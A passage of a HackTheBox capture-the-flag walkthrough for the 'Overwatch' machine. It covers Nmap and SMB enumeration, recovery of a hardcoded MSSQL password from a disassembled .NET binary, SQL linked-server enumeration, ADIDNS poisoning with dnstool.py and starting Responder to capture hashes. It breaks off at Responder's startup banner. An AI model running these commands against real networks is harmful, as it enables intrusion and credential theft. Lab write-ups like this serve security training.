> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/htbwriteups/overwatch-htb-hackthebox-walkthrough-or-by-alham-rizvi.md).

# Overwatch HTB — HackTheBox Walkthrough | By Alham Rizvi

<figure><img src="https://cdn-images-1.medium.com/max/800/1*YV5oVU1vwBm4uy62t-qX2A.png" alt=""><figcaption></figcaption></figure>

Hey everyone its Alham Rizvi again and today we are starting Overwatch, without wasting time let’s get started!

#### Attack Chain

<figure><img src="https://cdn-images-1.medium.com/max/800/1*lfTrq6DOk1pHLIuBYZ6KzA.png" alt=""><figcaption></figcaption></figure>

#### Recon

We started with an Nmap service scan.

```
sudo nmap -sS -sV 10.129.52.87 -oN out.txt
```

Here:

* `-sS` performs a TCP SYN scan
* `-sV` enables service version detection
* `-oN out.txt` saves the output into a file

The scan revealed multiple AD related services.

```
alhamrizvi@alhams-fedora:~/overwatch$ sudo nmap -sS -sV 10.129.52.87 -oN out.txt
[sudo] password for alhamrizvi: 
Starting Nmap 7.92 ( https://nmap.org ) at 2026-05-08 00:08 IST
Nmap scan report for 10.129.52.87
Host is up (0.32s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  tcpwrapped
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-07 18:38:58Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.06 seconds
```

Port `88` showed Kerberos, `389` showed LDAP and `445` exposed SMB, which strongly indicated that the target was running Active Directory services. Nmap also disclosed the domain name as `overwatch.htb` and hostname as `S200401`.

After identifying SMB on port 445, we performed anonymous share enumeration using smbclient.

```
smbclient -L //10.129.52.87 -N
```

Here:

* `-L` lists available SMB shares
* `-N` attempts authentication with a null session without providing a password

The target allowed anonymous listing of SMB shares.

```
alhamrizvi@alhams-fedora:~/overwatch$ smbclient -L //10.129.52.87 -N

 Sharename       Type      Comment
 ---------       ----      -------
 ADMIN$          Disk      Remote Admin
 C$              Disk      Default share
 IPC$            IPC       Remote IPC
 NETLOGON        Disk      Logon server share 
 software$       Disk      
 SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available
alhamrizvi@alhams-fedora:~/overwatch$
```

During enumeration we discovered the default Active Directory shares `NETLOGON` and `SYSVOL`, along with a custom share named `software$`, which looked particularly interesting.

After discovering the `software$` SMB share, we connected to it anonymously using smbclient.

```
alhamrizvi@alhams-fedora:~/overwatch$ smbclient //10.129.52.87/software$ -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DH        0  Sat May 17 06:57:07 2025
  ..                                DHS        0  Thu Jan  1 12:16:47 2026
  Monitoring                         DH        0  Sat May 17 07:02:43 2025

  7147007 blocks of size 4096. 981386 blocks available
smb: \> ls -la
NT_STATUS_NO_SUCH_FILE listing \-la
smb: \> cd Monitoring
smb: \Monitoring\> ls
  .                                  DH        0  Sat May 17 07:02:43 2025
  ..                                 DH        0  Sat May 17 06:57:07 2025
  EntityFramework.dll                AH  4991352  Fri Apr 17 02:08:42 2020
  EntityFramework.SqlServer.dll      AH   591752  Fri Apr 17 02:08:56 2020
  EntityFramework.SqlServer.xml      AH   163193  Fri Apr 17 02:08:56 2020
  EntityFramework.xml                AH  3738289  Fri Apr 17 02:08:40 2020
  Microsoft.Management.Infrastructure.dll     AH    36864  Mon Jul 17 20:16:10 2017
  overwatch.exe                      AH     9728  Sat May 17 06:49:24 2025
  overwatch.exe.config               AH     2163  Sat May 17 06:32:30 2025
  overwatch.pdb                      AH    30208  Sat May 17 06:49:24 2025
  System.Data.SQLite.dll             AH   450232  Mon Sep 30 02:11:18 2024
  System.Data.SQLite.EF6.dll         AH   206520  Mon Sep 30 02:10:06 2024
  System.Data.SQLite.Linq.dll        AH   206520  Mon Sep 30 02:10:42 2024
  System.Data.SQLite.xml             AH  1245480  Sun Sep 29 00:18:00 2024
  System.Management.Automation.dll     AH   360448  Mon Jul 17 20:16:10 2017
  System.Management.Automation.xml     AH  7145771  Mon Jul 17 20:16:10 2017
  x64                                DH        0  Sat May 17 07:02:33 2025
  x86                                DH        0  Sat May 17 07:02:33 2025

  7147007 blocks of size 4096. 1000988 blocks available
smb: \Monitoring\> get overwatch.exe.config
getting file \Monitoring\overwatch.exe.config of size 2163 as overwatch.exe.config (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
smb: \Monitoring\> get overwatch.exe
getting file \Monitoring\overwatch.exe of size 9728 as overwatch.exe (7.5 KiloBytes/sec) (average 4.5 KiloBytes/sec)
smb: \Monitoring\> get overwatch.pdb
getting file \Monitoring\overwatch.pdb of size 30208 as overwatch.pdb (15.3 KiloBytes/sec) (average 9.2 KiloBytes/sec)
smb: \Monitoring\> exit
```

After downloading the files from the SMB share, we analyzed the `.NET` executable using `monodis`.

```
sudo dnf install mono-devel -y
```

Here:

* `dnf install` installs packages on Fedora
* `mono-devel` contains tools for analyzing `.NET` binaries including `monodis`

After installing the package, we disassembled the executable.

```
monodis overwatch.exe
```

`monodis` is used to decompile and inspect `.NET` assemblies, allowing us to read methods, classes and hardcoded strings from the binary.

```
alhamrizvi@alhams-fedora:~/overwatch$ sudo dnf install mono-devel -y
monodis overwatch.exe
[sudo] password for alhamrizvi: 
Updating and loading repositories:
 Fedora 43 - x86_64 - Test Updates                                                 100% |   3.9 KiB/s |   5.9 KiB |  00m02s
 Fedora 43 - x86_64 - Updates                                                      100% |  12.8 KiB/s |   7.5 KiB |  00m01s
Repositories loaded.
Package "mono-devel-6.12.0-21.fc43.x86_64" is already installed.

Nothing to do.
.assembly extern mscorlib
{
  .ver 4:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.ServiceModel
{
  .ver 4:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.Management
{
  .ver 4:0:0:0
  .publickeytoken = (B0 3F 5F 7F 11 D5 0A 3A ) // .?_....:
}
.assembly extern System
{
  .ver 4:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.Data
{
  .ver 4:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.Management.Automation
{
  .ver 3:0:0:0
  .publickeytoken = (31 BF 38 56 AD 36 4E 35 ) // 1.8V.6N5
}
.assembly extern System.Data.SQLite
{
  .ver 1:0:119:0
  .publickeytoken = (DB 93 7B C2 D4 4F F1 39 ) // ..{..O.9
}
.assembly 'overwatch'
{
  .custom instance void class [mscorlib]System.Runtime.CompilerServices.CompilationRelaxationsAttribute::'.ctor'(int32) =  (01 00 08 00 00 00 00 00 ) // ........

  .custom instance void class [mscorlib]System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::'.ctor'() =  (
  01 00 01 00 54 02 16 57 72 61 70 4E 6F 6E 45 78   // ....T..WrapNonEx
  63 65 70 74 69 6F 6E 54 68 72 6F 77 73 01       ) // ceptionThrows.

  .custom instance void class [mscorlib]System.Diagnostics.DebuggableAttribute::'.ctor'(valuetype [mscorlib]System.Diagnostics.DebuggableAttribute/DebuggingModes) =  (01 00 02 00 00 00 00 00 ) // ........

  .custom instance void class [mscorlib]System.Reflection.AssemblyTitleAttribute::'.ctor'(string) =  (01 00 09 6F 76 65 72 77 61 74 63 68 00 00 ) // ...overwatch..

  .custom instance void class [mscorlib]System.Reflection.AssemblyDescriptionAttribute::'.ctor'(string) =  (01 00 00 00 00 ) // .....

  .custom instance void class [mscorlib]System.Reflection.AssemblyConfigurationAttribute::'.ctor'(string) =  (01 00 00 00 00 ) // .....

  .custom instance void class [mscorlib]System.Reflection.AssemblyCompanyAttribute::'.ctor'(string) =  (01 00 00 00 00 ) // .....

  .custom instance void class [mscorlib]System.Reflection.AssemblyProductAttribute::'.ctor'(string) =  (01 00 09 6F 76 65 72 77 61 74 63 68 00 00 ) // ...overwatch..

  .custom instance void class [mscorlib]System.Reflection.AssemblyCopyrightAttribute::'.ctor'(string) =  (
  01 00 12 43 6F 70 79 72 69 67 68 74 20 C2 A9 20   // ...Copyright .. 
  20 32 30 32 35 00 00                            ) //  2025..

  .custom instance void class [mscorlib]System.Reflection.AssemblyTrademarkAttribute::'.ctor'(string) =  (01 00 00 00 00 ) // .....

  .custom instance void class [mscorlib]System.Runtime.InteropServices.ComVisibleAttribute::'.ctor'(bool) =  (01 00 00 00 00 ) // .....

  .custom instance void class [mscorlib]System.Runtime.InteropServices.GuidAttribute::'.ctor'(string) =  (
  01 00 24 32 66 63 36 30 34 63 38 2D 32 37 62 35   // ..$2fc604c8-27b5
  2D 34 64 34 31 2D 38 37 32 35 2D 31 61 64 38 34   // -4d41-8725-1ad84
  30 33 35 33 64 32 36 00 00                      ) // 0353d26..

  .custom instance void class [mscorlib]System.Reflection.AssemblyFileVersionAttribute::'.ctor'(string) =  (01 00 07 31 2E 30 2E 30 2E 30 00 00 ) // ...1.0.0.0..

  .custom instance void class [mscorlib]System.Runtime.Versioning.TargetFrameworkAttribute::'.ctor'(string) =  (
  01 00 1C 2E 4E 45 54 46 72 61 6D 65 77 6F 72 6B   // ....NETFramework
  2C 56 65 72 73 69 6F 6E 3D 76 34 2E 37 2E 32 01   // ,Version=v4.7.2.
  00 54 0E 14 46 72 61 6D 65 77 6F 72 6B 44 69 73   // .T..FrameworkDis
  70 6C 61 79 4E 61 6D 65 14 2E 4E 45 54 20 46 72   // playName..NET Fr
  61 6D 65 77 6F 72 6B 20 34 2E 37 2E 32          ) // amework 4.7.2

  .hash algorithm 0x00008004
  .ver  1:0:0:0
}
.module overwatch.exe // GUID = {D75E208A-43BD-49E3-A2E3-AA2002B2944E}

.stackreserve 0x400000

  .class interface public auto ansi abstract beforefieldinit IMonitoringService
  {
    .custom instance void class [System.ServiceModel]System.ServiceModel.ServiceContractAttribute::'.ctor'() =  (01 00 00 00 ) // ....


    // method line 1
    .method public virtual hidebysig newslot abstract 
           instance default string StartMonitoring ()  cil managed 
    {
        .custom instance void class [System.ServiceModel]System.ServiceModel.OperationContractAttribute::'.ctor'() =  (01 00 00 00 ) // ....

        // Method begins at RVA 0x0
    } // end of method IMonitoringService::StartMonitoring

    // method line 2
    .method public virtual hidebysig newslot abstract 
           instance default string StopMonitoring ()  cil managed 
    {
        .custom instance void class [System.ServiceModel]System.ServiceModel.OperationContractAttribute::'.ctor'() =  (01 00 00 00 ) // ....

        // Method begins at RVA 0x0
    } // end of method IMonitoringService::StopMonitoring

    // method line 3
    .method public virtual hidebysig newslot abstract 
           instance default string KillProcess (string processName)  cil managed 
    {
        .custom instance void class [System.ServiceModel]System.ServiceModel.OperationContractAttribute::'.ctor'() =  (01 00 00 00 ) // ....

        // Method begins at RVA 0x0
    } // end of method IMonitoringService::KillProcess

  } // end of class IMonitoringService

  .class public auto ansi beforefieldinit MonitoringService
   extends [mscorlib]System.Object
   implements IMonitoringService  {
    .field  private  class [System.Management]System.Management.ManagementEventWatcher processStartWatcher
    .field  private  bool isRunning
    .field  private initonly  string connectionString

    // method line 4
    .method public final virtual hidebysig newslot 
           instance default string StartMonitoring ()  cil managed 
    {
        // Method begins at RVA 0x2048
 // Code size 50 (0x32)
 .maxstack 8
 IL_0000:  ldarg.0 
 IL_0001:  ldfld bool MonitoringService::isRunning
 IL_0006:  brfalse.s IL_000e

 IL_0008:  ldstr "Already monitoring."
 IL_000d:  ret 
 IL_000e:  ldarg.0 
 IL_000f:  ldftn instance void class MonitoringService::SystemEvents_SessionSwitch(object, class [System]Microsoft.Win32.SessionSwitchEventArgs)
 IL_0015:  newobj instance void class [System]Microsoft.Win32.SessionSwitchEventHandler::'.ctor'(object, native int)
 IL_001a:  call void class [System]Microsoft.Win32.SystemEvents::add_SessionSwitch(class [System]Microsoft.Win32.SessionSwitchEventHandler)
 IL_001f:  ldarg.0 
 IL_0020:  call instance void class MonitoringService::StartProcessWatcher()
 IL_0025:  ldarg.0 
 IL_0026:  ldc.i4.1 
 IL_0027:  stfld bool MonitoringService::isRunning
 IL_002c:  ldstr "Monitoring started."
 IL_0031:  ret 
    } // end of method MonitoringService::StartMonitoring

    // method line 5
    .method public final virtual hidebysig newslot 
           instance default string StopMonitoring ()  cil managed 
    {
        // Method begins at RVA 0x207b
 // Code size 55 (0x37)
 .maxstack 8
 IL_0000:  ldarg.0 
 IL_0001:  ldfld bool MonitoringService::isRunning
 IL_0006:  brtrue.s IL_000e

 IL_0008:  ldstr "Monitoring not active."
 IL_000d:  ret 
 IL_000e:  ldarg.0 
 IL_000f:  ldftn instance void class MonitoringService::SystemEvents_SessionSwitch(object, class [System]Microsoft.Win32.SessionSwitchEventArgs)
 IL_0015:  newobj instance void class [System]Microsoft.Win32.SessionSwitchEventHandler::'.ctor'(object, native int)
 IL_001a:  call void class [System]Microsoft.Win32.SystemEvents::remove_SessionSwitch(class [System]Microsoft.Win32.SessionSwitchEventHandler)
 IL_001f:  ldarg.0 
 IL_0020:  ldfld class [System.Management]System.Management.ManagementEventWatcher MonitoringService::processStartWatcher
 IL_0025:  callvirt instance void class [System.Management]System.Management.ManagementEventWatcher::Stop()
 IL_002a:  ldarg.0 
 IL_002b:  ldc.i4.0 
 IL_002c:  stfld bool MonitoringService::isRunning
 IL_0031:  ldstr "Monitoring stopped."
 IL_0036:  ret 
    } // end of method MonitoringService::StopMonitoring

    // method line 6
    .method private hidebysig 
           instance default void SystemEvents_SessionSwitch (object sender, class [System]Microsoft.Win32.SessionSwitchEventArgs e)  cil managed 
    {
        // Method begins at RVA 0x20b4
 // Code size 44 (0x2c)
 .maxstack 4
 .locals init (
  string V_0,
  valuetype [System]Microsoft.Win32.SessionSwitchReason V_1)
 IL_0000:  ldarg.2 
 IL_0001:  callvirt instance valuetype [System]Microsoft.Win32.SessionSwitchReason class [System]Microsoft.Win32.SessionSwitchEventArgs::get_Reason()
 IL_0006:  stloc.1 
 IL_0007:  ldloca.s 1
 IL_0009:  constrained. [System]Microsoft.Win32.SessionSwitchReason
 IL_000f:  callvirt instance string object::ToString()
 IL_0014:  stloc.0 
 IL_0015:  ldarg.0 
 IL_0016:  ldstr "SessionSwitch"
 IL_001b:  ldstr "Reason: "
 IL_0020:  ldloc.0 
 IL_0021:  call string string::Concat(string, string)
 IL_0026:  call instance void class MonitoringService::LogEvent(string, string)
 IL_002b:  ret 
    } // end of method MonitoringService::SystemEvents_SessionSwitch

    // method line 7
    .method private hidebysig 
           instance default void StartProcessWatcher ()  cil managed 
    {
        // Method begins at RVA 0x20ec
 // Code size 58 (0x3a)
 .maxstack 3
 .locals init (
  class [System.Management]System.Management.WqlEventQuery V_0)
 IL_0000:  ldstr "SELECT * FROM Win32_ProcessStartTrace"
 IL_0005:  newobj instance void class [System.Management]System.Management.WqlEventQuery::'.ctor'(string)
 IL_000a:  stloc.0 
 IL_000b:  ldarg.0 
 IL_000c:  ldloc.0 
 IL_000d:  newobj instance void class [System.Management]System.Management.ManagementEventWatcher::'.ctor'(class [System.Management]System.Management.EventQuery)
 IL_0012:  stfld class [System.Management]System.Management.ManagementEventWatcher MonitoringService::processStartWatcher
 IL_0017:  ldarg.0 
 IL_0018:  ldfld class [System.Management]System.Management.ManagementEventWatcher MonitoringService::processStartWatcher
 IL_001d:  ldarg.0 
 IL_001e:  ldftn instance void class MonitoringService::'<StartProcessWatcher>b__6_0'(object, class [System.Management]System.Management.EventArrivedEventArgs)
 IL_0024:  newobj instance void class [System.Management]System.Management.EventArrivedEventHandler::'.ctor'(object, native int)
 IL_0029:  callvirt instance void class [System.Management]System.Management.ManagementEventWatcher::add_EventArrived(class [System.Management]System.Management.EventArrivedEventHandler)
 IL_002e:  ldarg.0 
 IL_002f:  ldfld class [System.Management]System.Management.ManagementEventWatcher MonitoringService::processStartWatcher
 IL_0034:  callvirt instance void class [System.Management]System.Management.ManagementEventWatcher::Start()
 IL_0039:  ret 
    } // end of method MonitoringService::StartProcessWatcher

    // method line 8
    .method private hidebysig 
           instance default void LogEvent (string 'type', string detail)  cil managed 
    {
        // Method begins at RVA 0x2134
 // Code size 86 (0x56)
 .maxstack 4
 .locals init (
  class [System.Data]System.Data.SqlClient.SqlConnection V_0)
 IL_0000:  ldarg.0 
 IL_0001:  ldfld string MonitoringService::connectionString
 IL_0006:  newobj instance void class [System.Data]System.Data.SqlClient.SqlConnection::'.ctor'(string)
 IL_000b:  stloc.0 
 .try { // 0
   IL_000c:  ldc.i4.5 
   IL_000d:  newarr [mscorlib]System.String
   IL_0012:  dup 
   IL_0013:  ldc.i4.0 
   IL_0014:  ldstr "INSERT INTO EventLog (Timestamp, EventType, Details) VALUES (GETDATE(), '"
   IL_0019:  stelem.ref 
   IL_001a:  dup 
   IL_001b:  ldc.i4.1 
   IL_001c:  ldarg.1 
   IL_001d:  stelem.ref 
   IL_001e:  dup 
   IL_001f:  ldc.i4.2 
   IL_0020:  ldstr "', '"
   IL_0025:  stelem.ref 
   IL_0026:  dup 
   IL_0027:  ldc.i4.3 
   IL_0028:  ldarg.2 
   IL_0029:  stelem.ref 
   IL_002a:  dup 
   IL_002b:  ldc.i4.4 
   IL_002c:  ldstr "')"
   IL_0031:  stelem.ref 
   IL_0032:  call string string::Concat(string[])
   IL_0037:  ldloc.0 
   IL_0038:  newobj instance void class [System.Data]System.Data.SqlClient.SqlCommand::'.ctor'(string, class [System.Data]System.Data.SqlClient.SqlConnection)
   IL_003d:  ldloc.0 
   IL_003e:  callvirt instance void class [System.Data]System.Data.Common.DbConnection::Open()
   IL_0043:  callvirt instance int32 class [System.Data]System.Data.Common.DbCommand::ExecuteNonQuery()
   IL_0048:  pop 
   IL_0049:  leave.s IL_0055

 } // end .try 0
 finally  { // 0
   IL_004b:  ldloc.0 
   IL_004c:  brfalse.s IL_0054

   IL_004e:  ldloc.0 
   IL_004f:  callvirt instance void class [mscorlib]System.IDisposable::Dispose()
   IL_0054:  endfinally 
 } // end handler 0
 IL_0055:  ret 
    } // end of method MonitoringService::LogEvent

    // method line 9
    .method public final virtual hidebysig newslot 
           instance default string KillProcess (string processName)  cil managed 
    {
        // Method begins at RVA 0x21a8
    } // end of method MonitoringService::KillProcess

    // method line 10
    .method public hidebysig specialname rtspecialname 
           instance default void '.ctor' ()  cil managed 
    {
        // Method begins at RVA 0x22ac
 // Code size 18 (0x12)
 .maxstack 8
 IL_0000:  ldarg.0 
 IL_0001:  ldstr "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;"
 IL_0006:  stfld string MonitoringService::connectionString
 IL_000b:  ldarg.0 
 IL_000c:  call instance void object::'.ctor'()
 IL_0011:  ret 
    } // end of method MonitoringService::.ctor

    // method line 11
    .method private hidebysig 
           instance default void '<StartProcessWatcher>b__6_0' (object sender, class [System.Management]System.Management.EventArrivedEventArgs e)  cil managed 
    {
        .custom instance void class [mscorlib]System.Runtime.CompilerServices.CompilerGeneratedAttribute::'.ctor'() =  (01 00 00 00 ) // ....

        // Method begins at RVA 0x22c0
 // Code size 55 (0x37)
 .maxstack 4
 .locals init (
  string V_0)
 IL_0000:  ldarg.2 
 IL_0001:  callvirt instance class [System.Management]System.Management.ManagementBaseObject class [System.Management]System.Management.EventArrivedEventArgs::get_NewEvent()
 IL_0006:  callvirt instance class [System.Management]System.Management.PropertyDataCollection class [System.Management]System.Management.ManagementBaseObject::get_Properties()
 IL_000b:  ldstr "ProcessName"
 IL_0010:  callvirt instance class [System.Management]System.Management.PropertyData class [System.Management]System.Management.PropertyDataCollection::get_Item(string)
 IL_0015:  callvirt instance object class [System.Management]System.Management.PropertyData::get_Value()
 IL_001a:  callvirt instance string object::ToString()
 IL_001f:  stloc.0 
 IL_0020:  ldarg.0 
 IL_0021:  ldstr "ProcessStart"
 IL_0026:  ldstr "Process: "
 IL_002b:  ldloc.0 
 IL_002c:  call string string::Concat(string, string)
 IL_0031:  call instance void class MonitoringService::LogEvent(string, string)
 IL_0036:  ret 
    } // end of method MonitoringService::<StartProcessWatcher>b__6_0

  } // end of class MonitoringService

  .class private auto ansi beforefieldinit Program
   extends [mscorlib]System.Object
  {

    // method line 12
    .method private static hidebysig 
           default void Main (string[] args)  cil managed 
    {
        // Method begins at RVA 0x2304
 .entrypoint
 // Code size 95 (0x5f)
 .maxstack 5
 IL_0000:  ldtoken MonitoringService
 IL_0005:  call class [mscorlib]System.Type class [mscorlib]System.Type::GetTypeFromHandle(valuetype [mscorlib]System.RuntimeTypeHandle)
 IL_000a:  call !!0[] class [mscorlib]System.Array::Empty<class [System]System.Uri> ()
 IL_000f:  newobj instance void class [System.ServiceModel]System.ServiceModel.ServiceHost::'.ctor'(class [mscorlib]System.Type, class [System]System.Uri[])
 IL_0014:  dup 
 IL_0015:  callvirt instance void class [System.ServiceModel]System.ServiceModel.Channels.CommunicationObject::Open()
 IL_001a:  ldstr "Service is running..."
 IL_001f:  call void class [mscorlib]System.Console::WriteLine(string)
 IL_0024:  ldc.r8 30000.
 IL_002d:  newobj instance void class [System]System.Timers.Timer::'.ctor'(float64)
 IL_0032:  dup 
 IL_0033:  ldnull 
 IL_0034:  ldftn void class Program::CheckEdgeHistory(object, class [System]System.Timers.ElapsedEventArgs)
 IL_003a:  newobj instance void class [System]System.Timers.ElapsedEventHandler::'.ctor'(object, native int)
 IL_003f:  callvirt instance void class [System]System.Timers.Timer::add_Elapsed(class [System]System.Timers.ElapsedEventHandler)
 IL_0044:  callvirt instance void class [System]System.Timers.Timer::Start()
 IL_0049:  ldstr "Press Enter to exit..."
 IL_004e:  call void class [mscorlib]System.Console::WriteLine(string)
 IL_0053:  call string class [mscorlib]System.Console::ReadLine()
 IL_0058:  pop 
 IL_0059:  callvirt instance void class [System.ServiceModel]System.ServiceModel.Channels.CommunicationObject::Close()
 IL_005e:  ret 
    } // end of method Program::Main

    // method line 13
    .method private static hidebysig 
           default void CheckEdgeHistory (object sender, class [System]System.Timers.ElapsedEventArgs e)  cil managed 
    {
        // Method begins at RVA 0x2370
    } // end of method Program::CheckEdgeHistory

    // method line 14
    .method public hidebysig specialname rtspecialname 
           instance default void '.ctor' ()  cil managed 
    {
        // Method begins at RVA 0x2494
 // Code size 7 (0x7)
 .maxstack 8
 IL_0000:  ldarg.0 
 IL_0001:  call instance void object::'.ctor'()
 IL_0006:  ret 
    } // end of method Program::.ctor

  } // end of class Program and tell whaty creds w egot
```

While reviewing the output, we discovered a hardcoded SQL connection string inside the constructor of the `MonitoringService` class.

```
Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;
```

From this, we extracted the following credentials:

```
Username: sqlsvc
Password: TI0LKcfHzZw1Vv
```

The binary also revealed that the application was logging process activity and session events into a SQL database named `SecurityLogs` using the `sqlsvc` account.

#### Initial Access

Using the credentials extracted from the `.NET` binary, we authenticated to the MSSQL server with Impacket's `mssqlclient.py`.

```
alhamrizvi@alhams-fedora:~/overwatch$ python3 /usr/bin/mssqlclient.py overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.52.87 -port 6520 -windows-auth
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc  guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
    
-   
0   
SQL (OVERWATCH\sqlsvc  guest@master)> SELECT name FROM master.dbo.sysdatabases;
name        
---------   
master      
tempdb      
model       
msdb        
overwatch   
SQL (OVERWATCH\sqlsvc  guest@master)> USE overwatch;
ENVCHANGE(DATABASE): Old Value: master, New Value: overwatch
INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'overwatch'.
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> SELECT * FROM INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG   TABLE_SCHEMA   TABLE_NAME   TABLE_TYPE   
-------------   ------------   ----------   ----------   
overwatch       dbo            Eventlog     b'BASE TABLE'   
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> SELECT TOP 50 * FROM Eventlog ORDER BY Timestamp DESC;
Id   Timestamp   EventType   Details   
--   ---------   ---------   -------   
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> EXEC sp_linkedservers;
SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------   
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL      
SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL      
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> EXEC sp_helplinkedsrvlogin;
Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------  
```

Here:

* `sqlsvc:TI0LKcfHzZw1Vv` are the credentials recovered from the binary
* `-port 6520` specifies the custom MSSQL port
* `-windows-auth` enables Windows authentication

Authentication succeeded and we obtained an interactive SQL shell.

We first checked whether the `sqlsvc` account had `sysadmin` privileges.

```
SELECT IS_SRVROLEMEMBER('sysadmin');
```

The query returned:

```
0
```

This confirmed that the account was not a SQL administrator.

Next, we enumerated the available databases.

```
SELECT name FROM master.dbo.sysdatabases;
```

The server contained a custom database named `overwatch`.

```
master
tempdb
model
msdb
overwatch
```

We switched into the database.

```
USE overwatch;
```

Then enumerated the available tables.

```
SELECT * FROM INFORMATION_SCHEMA.TABLES;
```

The database contained a single table named `Eventlog`.

```
Eventlog
```

We attempted to read its contents.

```
SELECT TOP 50 * FROM Eventlog ORDER BY Timestamp DESC;
```

However, the table was empty.

Next, we enumerated linked SQL servers.

```
EXEC sp_linkedservers;
```

This revealed another linked server named `SQL07`.

```
S200401\SQLEXPRESS
SQL07
```

To inspect linked login mappings, we executed:

```
EXEC sp_helplinkedsrvlogin;
```

No explicit login mappings were shown.

We then attempted to query the linked server.

```
EXEC ('SELECT @@version') AT SQL07;
```

The request failed with a communication error, indicating the server attempted to connect externally to `SQL07`.

To exploit this behavior, we poisoned the DNS record for `SQL07` using `dnstool.py.`

maybe this is ADIDNS poisoning

<figure><img src="https://cdn-images-1.medium.com/max/800/1*nHR-oLjBpSB4pSA35VySyw.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://cdn-images-1.medium.com/max/800/1*r-cu-Y7HIe5jgYWo6FTjTQ.png" alt=""><figcaption></figcaption></figure>

```
python3 dnstool.py -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' --action add --record SQL07 --data 10.10.15.1 --type A 10.129.52.87
```

The DNS record already existed and pointed to our VPN IP `10.10.15.1`, meaning the hostname resolution was already poisoned successfully.

Next, we started `Responder` to capture incoming authentication attempts.

```
sudo responder -I tun0 -v
```

Here:

* `-I tun0` listens on the VPN interface
* `-v` enables verbose output

```
[sudo] password for alhamrizvi: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


[*] Tips jar:
    USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
    BTC  -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]
    DHCPv6                     [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.15.1]
    Responder IPv6             [fe80::50c:1735:96e6:3d2]
    Challenge set              [random]
